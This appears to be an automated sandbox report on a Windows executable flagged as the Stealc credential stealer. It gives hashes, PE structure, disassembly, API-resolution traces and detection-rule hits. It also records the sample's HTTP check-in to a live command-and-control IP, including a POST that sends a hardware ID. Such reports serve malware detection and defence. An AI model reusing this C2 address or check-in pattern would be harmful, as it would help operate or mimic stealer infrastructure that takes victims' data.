Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37	file.exe, 00000000.00000002.1729629409.000000000120E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1729629409.0000000001269000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpHRPb	file.exe, 00000000.00000002.1729629409.0000000001289000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37v	file.exe, 00000000.00000002.1729629409.000000000120E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1729629409.0000000001269000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpS	file.exe, 00000000.00000002.1729629409.0000000001269000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php7b0923665da6f1	file.exe, 00000000.00000002.1729629409.0000000001269000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525663
Start date and time:	2024-10-04 13:50:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 81
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	Aura.exe	Get hash	malicious	RedLine	Browse	185.215.113.22
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.95017628517817
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'897'472 bytes
MD5:	1840b3a6769699f03fca969af6b4e883
SHA1:	53eeeb33aec86d2f03dc021351ffb61c1118aadd
SHA256:	247b59e9bb5df7c640981d51f2df6fd618414f802f3ce049c6fb469cf8a3a66d
SHA512:	1f613584583dc086641a695bf72201ea5603451639e5ad0d51abfe2aeeffce7d6dc38aba3842c60dcceccbb4defbd7daa4d39c6201b972a0e9dc2a0472380169
SSDEEP:	49152:XVhOA/35Dbb1R2kI3p8gOXyYHEe8z2K4OOergm:rOA/pnbj2kI3p8Nrke+2cAm
TLSH:	389533C280DCCFAECE2D6CF37C29116B8EE4900985BB1E7DFDA37D18556D5224C6A620
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xabd000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8B14DBEB6Ah
psrld mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F8B14DC0B65h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	c2747ffde476791b11faee6619872def	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2b5000	0x200	01efdba24b8f99fdbb74b96013945012	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zlzhjqsn	0x513000	0x1a9000	0x1a9000	8536d09a707293481633cc516631cafa	False	0.9950953584558824	data	7.955253982546698	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kjlhrbah	0x6bc000	0x1000	0x600	7417d4dcd38090a4651ef93b8bed586f	False	0.5677083333333334	data	5.052038320943938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6bd000	0x3000	0x2200	5c49124b496c89b062cbbc133c112508	False	0.05893841911764706	DOS executable (COM)	0.6682336934896633	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T13:51:06.058208+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 13:51:05.079921961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 13:51:05.085021973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 4, 2024 13:51:05.085135937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 13:51:05.085283041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 13:51:05.090166092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 4, 2024 13:51:05.811203003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 4, 2024 13:51:05.811409950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 13:51:05.815990925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 13:51:05.824296951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 4, 2024 13:51:06.058079958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 4, 2024 13:51:06.058207989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 4, 2024 13:51:08.078217983 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7400	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 13:51:05.085283041 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 13:51:05.811203003 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 11:51:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 13:51:05.815990925 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJD Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 42 44 43 44 38 41 33 44 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="hwid"53BDCD8A3D9D1524750037------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="build"doma------AKKECAFBFHJDGDHIEHJD--
Oct 4, 2024 13:51:06.058079958 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 11:51:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	07:51:00
Start date:	04/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe0000
File size:	1'897'472 bytes
MD5 hash:	1840B3A6769699F03FCA969AF6B4E883
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1729629409.000000000120E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1688759783.0000000005130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 000F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,012223B0), ref: 000F98A1
GetProcAddress.KERNEL32(74DD0000,01222218), ref: 000F98BA
GetProcAddress.KERNEL32(74DD0000,01222320), ref: 000F98D2
GetProcAddress.KERNEL32(74DD0000,01222410), ref: 000F98EA
GetProcAddress.KERNEL32(74DD0000,01222350), ref: 000F9903
GetProcAddress.KERNEL32(74DD0000,01228F88), ref: 000F991B
GetProcAddress.KERNEL32(74DD0000,01215AD0), ref: 000F9933
GetProcAddress.KERNEL32(74DD0000,01215C10), ref: 000F994C
GetProcAddress.KERNEL32(74DD0000,01222308), ref: 000F9964
GetProcAddress.KERNEL32(74DD0000,012222A8), ref: 000F997C
GetProcAddress.KERNEL32(74DD0000,01222488), ref: 000F9995
GetProcAddress.KERNEL32(74DD0000,01222230), ref: 000F99AD
GetProcAddress.KERNEL32(74DD0000,01215D50), ref: 000F99C5
GetProcAddress.KERNEL32(74DD0000,012223E0), ref: 000F99DE
GetProcAddress.KERNEL32(74DD0000,012224A0), ref: 000F99F6
GetProcAddress.KERNEL32(74DD0000,01215C90), ref: 000F9A0E
GetProcAddress.KERNEL32(74DD0000,01222458), ref: 000F9A27
GetProcAddress.KERNEL32(74DD0000,012224B8), ref: 000F9A3F
GetProcAddress.KERNEL32(74DD0000,01215AB0), ref: 000F9A57
GetProcAddress.KERNEL32(74DD0000,01222500), ref: 000F9A70
GetProcAddress.KERNEL32(74DD0000,01215E10), ref: 000F9A88
LoadLibraryA.KERNEL32(01222428,?,000F6A00), ref: 000F9A9A
LoadLibraryA.KERNEL32(012223F8,?,000F6A00), ref: 000F9AAB
LoadLibraryA.KERNEL32(01222440,?,000F6A00), ref: 000F9ABD
LoadLibraryA.KERNEL32(01222470,?,000F6A00), ref: 000F9ACF
LoadLibraryA.KERNEL32(01222248,?,000F6A00), ref: 000F9AE0
GetProcAddress.KERNEL32(75A70000,01222260), ref: 000F9B02
GetProcAddress.KERNEL32(75290000,012222D8), ref: 000F9B23
GetProcAddress.KERNEL32(75290000,01222278), ref: 000F9B3B
GetProcAddress.KERNEL32(75BD0000,012222F0), ref: 000F9B5D
GetProcAddress.KERNEL32(75450000,01215E50), ref: 000F9B7E
GetProcAddress.KERNEL32(76E90000,01229048), ref: 000F9B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 000F9BB6

Strings

NtQueryInformationProcess, xrefs: 000F9BAA

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 705005d6d5021427ada9aac8f2c10c87cc7683d88b0fbca609928a68090a192f
Instruction ID: a514ba6b3d17cb809fa38903789622a70c297eff0c0b47e15148666f11586721
Opcode Fuzzy Hash: 705005d6d5021427ada9aac8f2c10c87cc7683d88b0fbca609928a68090a192f
Instruction Fuzzy Hash: 34A16CB5500A009FD366EFA8EE88A663BFDF74C301F04492EE615C3264D739A843DB56

Function 000E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 000E460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 000E479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000E45C7

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United 